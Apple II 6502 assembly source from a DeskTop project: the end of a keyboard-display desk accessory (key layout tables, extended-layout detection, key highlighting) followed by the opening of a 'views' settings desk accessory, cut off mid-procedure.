KEY_RECT kr06, kLeft2 + 3 * kKeyWidth, kRow2 ; Ctrl-F
KEY_RECT kr07, kLeft2 + 4 * kKeyWidth, kRow2 ; Ctrl-G
KEY_RECT kr08, kKeyboardRight - kKeyWidth * 4, kRow4, kKeyboardRight - kKeyWidth * 3 ; Ctrl-H (left arrow)
KEY_RECT kr09, kKeyboardLeft, kRow1, kLeft1 ; Ctrl-I (tab)
KEY_RECT kr0A, kKeyboardRight - kKeyWidth * 2, kRow4, kKeyboardRight - kKeyWidth * 1 ; Ctrl-J (down arrow)
KEY_RECT kr0B, kKeyboardRight - kKeyWidth * 1, kRow4, kKeyboardRight - kKeyWidth * 0 ; Ctrl-K (up arrow)
KEY_RECT kr0C, kLeft2 + 8 * kKeyWidth, kRow2 ; Ctrl-L
KEY_RECT kr0D, kKeyboardRight - kKeyWidth * 7/4 - 1, kRow2, kKeyboardRight ; Ctrl-M (return)
KEY_RECT kr0E, kLeft3 + 5 * kKeyWidth, kRow3 ; Ctrl-N
KEY_RECT kr0F, kLeft1 + 8 * kKeyWidth, kRow1 ; Ctrl-O
KEY_RECT kr10, kLeft1 + 9 * kKeyWidth, kRow1 ; Ctrl-P
KEY_RECT kr11, kLeft1 + 0 * kKeyWidth, kRow1 ; Ctrl-Q
KEY_RECT kr12, kLeft1 + 3 * kKeyWidth, kRow1 ; Ctrl-R
KEY_RECT kr13, kLeft2 + 1 * kKeyWidth, kRow2 ; Ctrl-S
KEY_RECT kr14, kLeft1 + 4 * kKeyWidth, kRow1 ; Ctrl-T
KEY_RECT kr15, kKeyboardRight - kKeyWidth * 3, kRow4, kKeyboardRight - kKeyWidth * 2 ; Ctrl-U (right arrow)
KEY_RECT kr16, kLeft3 + 3 * kKeyWidth, kRow3 ; Ctrl-V
KEY_RECT kr17, kLeft1 + 1 * kKeyWidth, kRow1 ; Ctrl-W
KEY_RECT kr18, kLeft3 + 1 * kKeyWidth, kRow3 ; Ctrl-X
KEY_RECT kr19, kLeft1 + 5 * kKeyWidth, kRow1 ; Ctrl-Y
KEY_RECT kr1A, kLeft3 + 0 * kKeyWidth, kRow3 ; Ctrl-Z
KEY_RECT kr1B, kKeyboardLeft, kRow0, kLeft0 ; Ctrl-[ (escape)
KEY_RECT kr1C, kLeft1 + 12 * kKeyWidth, kRow1 ; Ctrl-\
KEY_RECT kr1D, kLeft1 + 11 * kKeyWidth, kRow1 ; Ctrl-]
KEY_RECT kr1E, kLeft0 + 5 * kKeyWidth, kRow0 ; Ctrl-^
KEY_RECT kr1F, kLeft0 + 10 * kKeyWidth, kRow0 ; Ctrl-_
KEY_RECT kr20, kKeyboardLeft + kKeyWidth * 4, kRow4, kKeyboardRight - kKeyWidth * 5 ; (space)
KEY_RECT kr21, kLeft0 + 0 * kKeyWidth, kRow0 ; !
KEY_RECT kr22, kLeft2 + 10 * kKeyWidth, kRow2 ; "
KEY_RECT kr23, kLeft0 + 2 * kKeyWidth, kRow0 ; #
KEY_RECT kr24, kLeft0 + 3 * kKeyWidth, kRow0 ; $
KEY_RECT kr25, kLeft0 + 4 * kKeyWidth, kRow0 ; %
KEY_RECT kr26, kLeft0 + 6 * kKeyWidth, kRow0 ; &
KEY_RECT kr27, kLeft2 + 10 * kKeyWidth, kRow2 ; '
KEY_RECT kr28, kLeft0 + 8 * kKeyWidth, kRow0 ; (
KEY_RECT kr29, kLeft0 + 9 * kKeyWidth, kRow0 ; )
KEY_RECT kr2A, kLeft0 + 7 * kKeyWidth, kRow0 ; *
KEY_RECT kr2B, kLeft0 + 11 * kKeyWidth, kRow0 ; +
KEY_RECT kr2C, kLeft3 + 7 * kKeyWidth, kRow3 ; ,
KEY_RECT kr2D, kLeft0 + 10 * kKeyWidth, kRow0 ; -
KEY_RECT kr2E, kLeft3 + 8 * kKeyWidth, kRow3 ; .
KEY_RECT kr2F, kLeft3 + 9 * kKeyWidth, kRow3 ; /
KEY_RECT kr30, kLeft0 + 9 * kKeyWidth, kRow0 ; 0
KEY_RECT kr31, kLeft0 + 0 * kKeyWidth, kRow0 ; 1
KEY_RECT kr32, kLeft0 + 1 * kKeyWidth, kRow0 ; 2
KEY_RECT kr33, kLeft0 + 2 * kKeyWidth, kRow0 ; 3
KEY_RECT kr34, kLeft0 + 3 * kKeyWidth, kRow0 ; 4
KEY_RECT kr35, kLeft0 + 4 * kKeyWidth, kRow0 ; 5
KEY_RECT kr36, kLeft0 + 5 * kKeyWidth, kRow0 ; 6
KEY_RECT kr37, kLeft0 + 6 * kKeyWidth, kRow0 ; 7
KEY_RECT kr38, kLeft0 + 7 * kKeyWidth, kRow0 ; 8
KEY_RECT kr39, kLeft0 + 8 * kKeyWidth, kRow0 ; 9
KEY_RECT kr3A, kLeft2 + 9 * kKeyWidth, kRow2 ; :
KEY_RECT kr3B, kLeft2 + 9 * kKeyWidth, kRow2 ; ;
KEY_RECT kr3C, kLeft3 + 7 * kKeyWidth, kRow3 ; <
KEY_RECT kr3D, kLeft0 + 11 * kKeyWidth, kRow0 ; =
KEY_RECT kr3E, kLeft3 + 8 * kKeyWidth, kRow3 ; >
KEY_RECT kr3F, kLeft3 + 9 * kKeyWidth, kRow3 ; ?
KEY_RECT kr40, kLeft0 + 1 * kKeyWidth, kRow0 ; @
KEY_RECT kr41, kLeft2 + 0 * kKeyWidth, kRow2 ; A
KEY_RECT kr42, kLeft3 + 4 * kKeyWidth, kRow3 ; B
KEY_RECT kr43, kLeft3 + 2 * kKeyWidth, kRow3 ; C
KEY_RECT kr44, kLeft2 + 2 * kKeyWidth, kRow2 ; D
KEY_RECT kr45, kLeft1 + 2 * kKeyWidth, kRow1 ; E
KEY_RECT kr46, kLeft2 + 3 * kKeyWidth, kRow2 ; F
KEY_RECT kr47, kLeft2 + 4 * kKeyWidth, kRow2 ; G
KEY_RECT kr48, kLeft2 + 5 * kKeyWidth, kRow2 ; H
KEY_RECT kr49, kLeft1 + 7 * kKeyWidth, kRow1 ; I
KEY_RECT kr4A, kLeft2 + 6 * kKeyWidth, kRow2 ; J
KEY_RECT kr4B, kLeft2 + 7 * kKeyWidth, kRow2 ; K
KEY_RECT kr4C, kLeft2 + 8 * kKeyWidth, kRow2 ; L
KEY_RECT kr4D, kLeft3 + 6 * kKeyWidth, kRow3 ; M
KEY_RECT kr4E, kLeft3 + 5 * kKeyWidth, kRow3 ; N
KEY_RECT kr4F, kLeft1 + 8 * kKeyWidth, kRow1 ; O
KEY_RECT kr50, kLeft1 + 9 * kKeyWidth, kRow1 ; P
KEY_RECT kr51, kLeft1 + 0 * kKeyWidth, kRow1 ; Q
KEY_RECT kr52, kLeft1 + 3 * kKeyWidth, kRow1 ; R
KEY_RECT kr53, kLeft2 + 1 * kKeyWidth, kRow2 ; S
KEY_RECT kr54, kLeft1 + 4 * kKeyWidth, kRow1 ; T
KEY_RECT kr55, kLeft1 + 6 * kKeyWidth, kRow1 ; U
KEY_RECT kr56, kLeft3 + 3 * kKeyWidth, kRow3 ; V
KEY_RECT kr57, kLeft1 + 1 * kKeyWidth, kRow1 ; W
KEY_RECT kr58, kLeft3 + 1 * kKeyWidth, kRow3 ; X
KEY_RECT kr59, kLeft1 + 5 * kKeyWidth, kRow1 ; Y
KEY_RECT kr5A, kLeft3 + 0 * kKeyWidth, kRow3 ; Z
KEY_RECT kr5B, kLeft1 + 10 * kKeyWidth, kRow1 ; [
KEY_RECT kr5C, kLeft1 + 12 * kKeyWidth, kRow1 ; \
KEY_RECT kr5D, kLeft1 + 11 * kKeyWidth, kRow1 ; ]
KEY_RECT kr5E, kLeft0 + 5 * kKeyWidth, kRow0 ; ^
KEY_RECT kr5F, kLeft0 + 10 * kKeyWidth, kRow0 ; _
KEY_RECT kr60, kLeft4 + 0 * kKeyWidth, kRow4 ; `
KEY_RECT kr61, kLeft2 + 0 * kKeyWidth, kRow2 ; a
KEY_RECT kr62, kLeft3 + 4 * kKeyWidth, kRow3 ; b
KEY_RECT kr63, kLeft3 + 2 * kKeyWidth, kRow3 ; c
KEY_RECT kr64, kLeft2 + 2 * kKeyWidth, kRow2 ; d
KEY_RECT kr65, kLeft1 + 2 * kKeyWidth, kRow1 ; e
KEY_RECT kr66, kLeft2 + 3 * kKeyWidth, kRow2 ; f
KEY_RECT kr67, kLeft2 + 4 * kKeyWidth, kRow2 ; g
KEY_RECT kr68, kLeft2 + 5 * kKeyWidth, kRow2 ; h
KEY_RECT kr69, kLeft1 + 7 * kKeyWidth, kRow1 ; i
KEY_RECT kr6A, kLeft2 + 6 * kKeyWidth, kRow2 ; j
KEY_RECT kr6B, kLeft2 + 7 * kKeyWidth, kRow2 ; k
KEY_RECT kr6C, kLeft2 + 8 * kKeyWidth, kRow2 ; l
KEY_RECT kr6D, kLeft3 + 6 * kKeyWidth, kRow3 ; m
KEY_RECT kr6E, kLeft3 + 5 * kKeyWidth, kRow3 ; n
KEY_RECT kr6F, kLeft1 + 8 * kKeyWidth, kRow1 ; o
KEY_RECT kr70, kLeft1 + 9 * kKeyWidth, kRow1 ; p
KEY_RECT kr71, kLeft1 + 0 * kKeyWidth, kRow1 ; q
KEY_RECT kr72, kLeft1 + 3 * kKeyWidth, kRow1 ; r
KEY_RECT kr73, kLeft2 + 1 * kKeyWidth, kRow2 ; s
KEY_RECT kr74, kLeft1 + 4 * kKeyWidth, kRow1 ; t
KEY_RECT kr75, kLeft1 + 6 * kKeyWidth, kRow1 ; u
KEY_RECT kr76, kLeft3 + 3 * kKeyWidth, kRow3 ; v
KEY_RECT kr77, kLeft1 + 1 * kKeyWidth, kRow1 ; w
KEY_RECT kr78, kLeft3 + 1 * kKeyWidth, kRow3 ; x
KEY_RECT kr79, kLeft1 + 5 * kKeyWidth, kRow1 ; y
KEY_RECT kr7A, kLeft3 + 0 * kKeyWidth, kRow3 ; z
KEY_RECT kr7B, kLeft1 + 10 * kKeyWidth, kRow1 ; {
KEY_RECT kr7C, kLeft1 + 12 * kKeyWidth, kRow1 ; |
KEY_RECT kr7D, kLeft1 + 11 * kKeyWidth, kRow1 ; }
KEY_RECT kr7E, kLeft4 + 0 * kKeyWidth, kRow4 ; ~
KEY_RECT kr7F, kKeyboardRight - kKeyWidth * 6/4, kRow0, kKeyboardRight ; (delete)
ASSERT_RECORD_TABLE_SIZE key_locations, $80, .sizeof(MGTK::Rect)
;; shift/plain
kModeS = $80 ; shifted (symbols)/unshifted (letters) - don't draw
kModeC = $80 ; unrepresented control - don't draw
kModeP = 0 ; plain - draw
key_mode:
.byte kModeC ; Ctrl-@
.byte kModeC ; Ctrl-A
.byte kModeC ; Ctrl-B
.byte kModeC ; Ctrl-C
.byte kModeC ; Ctrl-D
.byte kModeC ; Ctrl-E
.byte kModeC ; Ctrl-F
.byte kModeC ; Ctrl-G
.byte kModeP ; Ctrl-H (left arrow)
.byte kModeP ; Ctrl-I (tab)
.byte kModeP ; Ctrl-J (down arrow)
.byte kModeP ; Ctrl-K (up arrow)
.byte kModeC ; Ctrl-L
.byte kModeP ; Ctrl-M (return)
.byte kModeC ; Ctrl-N
.byte kModeC ; Ctrl-O
.byte kModeC ; Ctrl-P
.byte kModeC ; Ctrl-Q
.byte kModeC ; Ctrl-R
.byte kModeC ; Ctrl-S
.byte kModeC ; Ctrl-T
.byte kModeP ; Ctrl-U (right arrow)
.byte kModeC ; Ctrl-V
.byte kModeC ; Ctrl-W
.byte kModeC ; Ctrl-X
.byte kModeC ; Ctrl-Y
.byte kModeC ; Ctrl-Z
.byte kModeP ; Ctrl-[ (escape)
.byte kModeC ; Ctrl-\
.byte kModeC ; Ctrl-]
.byte kModeC ; Ctrl-^
.byte kModeC ; Ctrl-_
.byte kModeP ; (space)
.byte kModeS ; !
.byte kModeS ; "
.byte kModeS ; #
.byte kModeS ; $
.byte kModeS ; %
.byte kModeS ; &
.byte kModeP ; '
.byte kModeS ; (
.byte kModeS ; )
.byte kModeS ; *
.byte kModeS ; +
.byte kModeP ; ,
.byte kModeP ; -
.byte kModeP ; .
.byte kModeP ; /
.byte kModeP ; 0
.byte kModeP ; 1
.byte kModeP ; 2
.byte kModeP ; 3
.byte kModeP ; 4
.byte kModeP ; 5
.byte kModeP ; 6
.byte kModeP ; 7
.byte kModeP ; 8
.byte kModeP ; 9
.byte kModeS ; :
.byte kModeP ; ;
.byte kModeS ; <
.byte kModeP ; =
.byte kModeS ; >
.byte kModeS ; ?
.byte kModeS ; @
.byte kModeP ; A
.byte kModeP ; B
.byte kModeP ; C
.byte kModeP ; D
.byte kModeP ; E
.byte kModeP ; F
.byte kModeP ; G
.byte kModeP ; H
.byte kModeP ; I
.byte kModeP ; J
.byte kModeP ; K
.byte kModeP ; L
.byte kModeP ; M
.byte kModeP ; N
.byte kModeP ; O
.byte kModeP ; P
.byte kModeP ; Q
.byte kModeP ; R
.byte kModeP ; S
.byte kModeP ; T
.byte kModeP ; U
.byte kModeP ; V
.byte kModeP ; W
.byte kModeP ; X
.byte kModeP ; Y
.byte kModeP ; Z
.byte kModeP ; [
.byte kModeP ; \
.byte kModeP ; ]
.byte kModeS ; ^
.byte kModeS ; _
.byte kModeP ; `
.byte kModeS ; a
.byte kModeS ; b
.byte kModeS ; c
.byte kModeS ; d
.byte kModeS ; e
.byte kModeS ; f
.byte kModeS ; g
.byte kModeS ; h
.byte kModeS ; i
.byte kModeS ; j
.byte kModeS ; k
.byte kModeS ; l
.byte kModeS ; m
.byte kModeS ; n
.byte kModeS ; o
.byte kModeS ; p
.byte kModeS ; q
.byte kModeS ; r
.byte kModeS ; s
.byte kModeS ; t
.byte kModeS ; u
.byte kModeS ; v
.byte kModeS ; w
.byte kModeS ; x
.byte kModeS ; y
.byte kModeS ; z
.byte kModeS ; {
.byte kModeS ; |
.byte kModeS ; }
.byte kModeS ; ~
.byte kModeP ; DEL (FIX)
ASSERT_TABLE_SIZE key_mode, $80
KEY_RECT rect_ctl, kKeyboardLeft, kRow2, kLeft2
KEY_RECT rect_shl, kKeyboardLeft, kRow3, kLeft3
KEY_RECT rect_cap, kKeyboardLeft, kRow4, kLeft4
KEY_RECT rect_gap, kKeyboardLeft + kKeyWidth * 2, kRow4
KEY_RECT rect_oap, kKeyboardLeft + kKeyWidth * 3, kRow4
KEY_RECT rect_sap, kKeyboardRight - kKeyWidth * 5, kRow4, kKeyboardRight - kKeyWidth * 4
KEY_RECT rect_shr, kKeyboardRight - kKeyWidth * 9/4 - 1, kRow3, kKeyboardRight
DEFINE_POINT label_relpos, 8, 12
DEFINE_RECT empty_rect, 0, 0, 0, 0
;;; New keyboard locations on IIgs/IIc+
;;;
;; Open Apple
KEY_RECT rect_new_oap, kKeyboardLeft + kKeyWidth * 2, kRow4, kKeyboardLeft + kKeyWidth * 4
;; Solid Apple
KEY_RECT rect_new_sap, kLeft4 + 0 * kKeyWidth, kRow4
;; Apostrophe/Tilde
KEY_RECT rect_new_apos, kKeyboardLeft + kKeyWidth * 4, kRow4
;; Backslash/Vertical Bar
KEY_RECT rect_new_bshl, kKeyboardRight - kKeyWidth * 5, kRow4, kKeyboardRight - kKeyWidth * 4
;; Space
KEY_RECT rect_new_spc, kKeyboardLeft + kKeyWidth * 5, kRow4, kKeyboardRight - kKeyWidth * 5
;;; Non-rectangular Return key handled by a Polygon:
;;;
;;; 1/7--2
;;; | |
;;; 5---6 |
;;; | |
;;; 4-------3
poly_new_ret:
.byte 7 ; vertex count
.byte 0 ; no more polys
.word kLeft1 + 12 * kKeyWidth, kRow1
.word kKeyboardRight, kRow1
.word kKeyboardRight, kRow3
.word kKeyboardRight - kKeyWidth * 7/4 - 1, kRow3
.word kKeyboardRight - kKeyWidth * 7/4 - 1, kRow2
.word kLeft1 + 12 * kKeyWidth, kRow2
.word kLeft1 + 12 * kKeyWidth, kRow1
poly_new_ret_inner:
.byte 7 ; vertex count
.byte 0 ; no more polys
.word kLeft1 + 12 * kKeyWidth + 4, kRow1 + 2
.word kKeyboardRight - 3, kRow1 + 2
.word kKeyboardRight - 3, kRow3 - 1
.word kKeyboardRight - kKeyWidth * 7/4 - 1 + 4, kRow3 - 1
.word kKeyboardRight - kKeyWidth * 7/4 - 1 + 4, kRow2 + 2
.word kLeft1 + 12 * kKeyWidth + 4, kRow2 + 2
.word kLeft1 + 12 * kKeyWidth + 4, kRow1 + 2
extended_layout_flag: ; high bit set if IIgs/IIc+
.byte 0
tmp_poly:
.res 2 + 7 * .sizeof(MGTK::Point), 0
DEFINE_RECT tmp_rect, 0, 0, 0, 0
;;; ============================================================
.proc Init
jsr CheckExtendedLayout ; returns C=1 if extended
;; Invert Carry if modifier is down
lda BUTN0
ora BUTN1
IF_NS
rol
eor #$01
ror
END_IF
bcc continue
;; Swap in alternate layout
SET_BIT7_FLAG extended_layout_flag
COPY_BLOCK empty_rect, rect_gap ; Gap is eliminated
COPY_BLOCK rect_new_bshl, kr5C ; [\|] replaces Solid Apple
COPY_BLOCK rect_new_bshl, kr7C
COPY_BLOCK rect_new_apos, kr60 ; [`~] takes away from Space
COPY_BLOCK rect_new_apos, kr7E
COPY_BLOCK rect_new_spc, kr20 ; Space is smaller
COPY_BLOCK rect_new_oap, rect_oap ; Open Apple moves
COPY_BLOCK rect_new_sap, rect_sap ; Solid Apple (Option) moves
;; Return key handled separately
continue:
MGTK_CALL MGTK::OpenWindow, winfo
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::button_down ; was clicked?
jeq HandleDown
cmp #MGTK::EventKind::key_down ; any key?
jeq HandleKey
jmp InputLoop
.endproc ; InputLoop
.proc Exit
MGTK_CALL MGTK::CloseWindow, winfo
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Exit
;;; ============================================================
.proc HandleKey
lda event_params::modifiers
beq start
lda event_params::key
jsr ToUpperCase
cmp #kShortcutQuit ; Apple-Q to quit
beq Exit
cmp #kShortcutCloseWindow ; Apple-W to close window
beq Exit
start: lda KBD
and #CHAR_MASK
sta last_char
jsr ConstructKeyPoly
MGTK_CALL MGTK::GetWinPort, getwinport_params
IF_A_NE #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenMode, penXOR
MGTK_CALL MGTK::PaintPoly, tmp_poly
:
bit KBDSTRB
IF_NS
lda KBD
and #CHAR_MASK
cmp last_char
beq :-
MGTK_CALL MGTK::PaintPoly, tmp_poly
jmp start
END_IF
MGTK_CALL MGTK::PaintPoly, tmp_poly
END_IF
jmp InputLoop
last_char:
.byte 0
return_flag:
.byte 0
.endproc ; HandleKey
;;; ============================================================
.proc HandleDown
copy16 event_params::xcoord, findwindow_params::mousex
copy16 event_params::ycoord, findwindow_params::mousey
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
jne InputLoop
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
beq HandleClose
cmp #MGTK::Area::dragbar
beq HandleDrag
jmp InputLoop
.endproc ; HandleDown
;;; ============================================================
.proc HandleClose
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::clicked
jeq InputLoop
jmp Exit
.endproc ; HandleClose
;;; ============================================================
.proc HandleDrag
copy8 winfo::window_id, dragwindow_params::window_id
copy16 event_params::xcoord, dragwindow_params::dragx
copy16 event_params::ycoord, dragwindow_params::dragy
MGTK_CALL MGTK::DragWindow, dragwindow_params
lda dragwindow_params::moved
IF_NS
;; Draw DeskTop's windows and icons.
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
jsr DrawWindow
END_IF
jmp InputLoop
.endproc ; HandleDrag
;;; ============================================================
.proc DrawWindow
ptr := $06
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_A_EQ #MGTK::Error::window_obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::HideCursor
MGTK_CALL MGTK::SetPenMode, pencopy
MGTK_CALL MGTK::SetPattern, background_pattern
MGTK_CALL MGTK::PaintRect, background_rect
MGTK_CALL MGTK::SetPattern, winfo::pattern
MGTK_CALL MGTK::PaintRect, keys_bg_rect
MGTK_CALL MGTK::SetPattern, background_pattern
MGTK_CALL MGTK::PaintRect, rect_gap
MGTK_CALL MGTK::SetPattern, winfo::pattern
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::FrameRect, rect_ctl
MGTK_CALL MGTK::FrameRect, rect_shl
MGTK_CALL MGTK::FrameRect, rect_cap
MGTK_CALL MGTK::FrameRect, rect_shr
MGTK_CALL MGTK::FrameRect, rect_oap
MGTK_CALL MGTK::FrameRect, rect_sap
copy8 #127, char
DO
copy8 char, char_label
tax
ldy key_mode,x
IF_NC
;; Compute address of key record
sta ptr
copy8 #0, ptr+1
asl16 ptr ; * 8 = .sizeof(MGTK::Rect)
asl16 ptr
asl16 ptr
add16 ptr, #key_locations, ptr
ldy #.sizeof(MGTK::Rect)-1
DO
copy8 (ptr),y, tmp_rect,y
dey
WHILE_POS
MGTK_CALL MGTK::FrameRect, tmp_rect
lda char
IF_A_GE #' '
IF_A_LT #CHAR_DELETE
MGTK_CALL MGTK::MoveTo, tmp_rect
MGTK_CALL MGTK::Move, label_relpos
MGTK_CALL MGTK::DrawText, drawtext_params_char
END_IF
END_IF
END_IF
dec char
lda char
WHILE_POS
bit extended_layout_flag
IF_NS
;; Extended layout's non-rectangular Return key
MGTK_CALL MGTK::SetPenMode, pencopy
MGTK_CALL MGTK::SetPattern, winfo::pattern
MGTK_CALL MGTK::PaintPoly, poly_new_ret
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::FramePoly, poly_new_ret
END_IF
MGTK_CALL MGTK::ShowCursor
rts
char: .byte 0
.endproc ; DrawWindow
;;; ============================================================
;;; Returns Carry set if extended layout should be used.
;;; This is the layout of the Platinum IIe, IIc+ and IIgs.
.proc CheckExtendedLayout
;; Bank in ROM and do check
bit ROMIN2
jsr check
bit LCBANK1
bit LCBANK1
rts
;; --------------------------------------------------
;; Do the check (with ROM banked in)
;; Is IIgs?
check: sec
jsr IDROUTINE ; Clears carry if IIgs
IF_CC
sec ; Yes, is a IIgs
rts
END_IF
;; Is IIc+?
lda ZIDBYTE ; $00 = IIc
IF_ZERO
lda ZIDBYTE2 ; $05 = IIc Plus
IF_A_EQ #$05
sec ; Yes, is a IIc+
rts
END_IF
END_IF
;; Can't distinguish Platinum IIe, even via shift key mod,
;; because unshifted state is high, just like no mod.
clc ; No - standard layout
rts
.endproc ; CheckExtendedLayout
;;; ============================================================
;;; Construct "inner" polygon for key in A.
;;; Output: tmp_poly is populated
.proc ConstructKeyPoly
ptr := $06
cmp #CHAR_RETURN
IF_EQ
bit extended_layout_flag
IF_NS
;; Special key
COPY_BYTES 2 + 7 * .sizeof(MGTK::Point), poly_new_ret_inner, tmp_poly
rts
END_IF
END_IF
;; Rectangular key
;; Compute address of rect
sta ptr
copy8 #0, ptr+1
asl16 ptr ; * 8 = .sizeof(MGTK::Rect)
asl16 ptr
asl16 ptr
add16 ptr, #key_locations, ptr
ldy #.sizeof(MGTK::Rect)-1
DO
copy8 (ptr),y, tmp_rect,y
dey
WHILE_POS
copy8 #5, tmp_poly+0 ; # vertices
copy8 #0, tmp_poly+1 ; no more polys
add16 tmp_rect::x1, #4, tmp_poly+2 + (0 * .sizeof(MGTK::Point))
add16 tmp_rect::y1, #2, tmp_poly+2 + (0 * .sizeof(MGTK::Point))+2
sub16 tmp_rect::x2, #3, tmp_poly+2 + (1 * .sizeof(MGTK::Point))
add16 tmp_rect::y1, #2, tmp_poly+2 + (1 * .sizeof(MGTK::Point))+2
sub16 tmp_rect::x2, #3, tmp_poly+2 + (2 * .sizeof(MGTK::Point))
sub16 tmp_rect::y2, #1, tmp_poly+2 + (2 * .sizeof(MGTK::Point))+2
add16 tmp_rect::x1, #4, tmp_poly+2 + (3 * .sizeof(MGTK::Point))
sub16 tmp_rect::y2, #1, tmp_poly+2 + (3 * .sizeof(MGTK::Point))+2
add16 tmp_rect::x1, #4, tmp_poly+2 + (4 * .sizeof(MGTK::Point))
add16 tmp_rect::y1, #2, tmp_poly+2 + (4 * .sizeof(MGTK::Point))+2
rts
.endproc ; ConstructKeyPoly
;;; ============================================================
.include "../lib/uppercase.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::Init
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 13,366
|
src/desk.acc/views.s
|
;;; ============================================================
;;; VIEWS - Desk Accessory
;;;
;;; A control panel offering option settings:
;;; * Initial view style
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "views.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../toolkits/btk.inc"
.include "../lib/alert_dialog.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-------------+ +-------------+
;;; | IO Buffer | | |
;;; $1C00 +-------------+ | |
;;; | write_buffer| | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | stub & save | | GUI code & |
;;; | settings | | resource |
;;; $800 +-------------+ +-------------+
;;; : : : :
;;;
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
.proc RunDA
jsr Init
lda dialog_result
rts
.endproc ; RunDA
;;; High bit set when anything changes.
dialog_result:
.byte 0
.proc MarkDirty
lda #$80
ora dialog_result
sta dialog_result
rts
.endproc ; MarkDirty
;;; ============================================================
kDAWindowId = $80
kDAWidth = 200
kDAHeight = 90
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
str_title:
PASCAL_STRING res_string_window_title
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr str_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kDAWidth
mincontheight: .word kDAHeight
maxcontwidth: .word kDAWidth
maxcontheight: .word kDAHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
;;; ============================================================
.params event_params
kind: .byte 0
;;; EventKind::key_down
key := *
modifiers := * + 1
;;; EventKind::update
window_id := *
;;; otherwise
xcoord := *
ycoord := * + 2
.res 4
.endparams
.params findwindow_params
mousex: .word 0
mousey: .word 0
which_area: .byte 0
window_id: .byte 0
.endparams
.params trackgoaway_params
clicked: .byte 0
.endparams
.params dragwindow_params
window_id: .byte 0
dragx: .word 0
dragy: .word 0
moved: .byte 0
.endparams
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport
.endparams
.params screentowindow_params
window_id: .byte kDAWindowId
DEFINE_POINT screen, 0, 0
DEFINE_POINT window, 0, 0
.endparams
grafport: .tag MGTK::GrafPort
;;; ============================================================
kNumButtons = 6
kButtonLeft = 20
kButtonTop = 5
kButtonSpacing = kSystemFontHeight + 2
DEFINE_LABEL view_style, res_string_initial_view, kButtonLeft - 3, kButtonTop + kSystemFontHeight
DEFINE_BUTTON as_icons_radiobutton, kDAWindowId, res_string_radio_button_by_icon, res_string_shortcut_apple_1, kButtonLeft, kButtonTop + kButtonSpacing * 1
DEFINE_BUTTON as_smallicons_radiobutton, kDAWindowId, res_string_radio_button_by_small_icon, res_string_shortcut_apple_2, kButtonLeft, kButtonTop + kButtonSpacing * 2
DEFINE_BUTTON by_name_radiobutton, kDAWindowId, res_string_radio_button_by_name, res_string_shortcut_apple_3, kButtonLeft, kButtonTop + kButtonSpacing * 3
DEFINE_BUTTON by_date_radiobutton, kDAWindowId, res_string_radio_button_by_date, res_string_shortcut_apple_4, kButtonLeft, kButtonTop + kButtonSpacing * 4
DEFINE_BUTTON by_size_radiobutton, kDAWindowId, res_string_radio_button_by_size, res_string_shortcut_apple_5, kButtonLeft, kButtonTop + kButtonSpacing * 5
DEFINE_BUTTON by_type_radiobutton, kDAWindowId, res_string_radio_button_by_type, res_string_shortcut_apple_6, kButtonLeft, kButtonTop + kButtonSpacing * 6
button_button_table:
.addr as_icons_radiobutton
.addr as_smallicons_radiobutton
.addr by_name_radiobutton
.addr by_date_radiobutton
.addr by_size_radiobutton
.addr by_type_radiobutton
ASSERT_ADDRESS_TABLE_SIZE button_button_table, kNumButtons
;;; ============================================================
current_view_index:
.byte 0
;; Index to DeskTopSettings::kViewByXYZ value
view_by_table:
.byte DeskTopSettings::kViewByIcon
.byte DeskTopSettings::kViewBySmallIcon
.byte DeskTopSettings::kViewByName
.byte DeskTopSettings::kViewByDate
.byte DeskTopSettings::kViewBySize
.byte DeskTopSettings::kViewByType
;;; ============================================================
.proc Init
ldx #DeskTopSettings::default_view
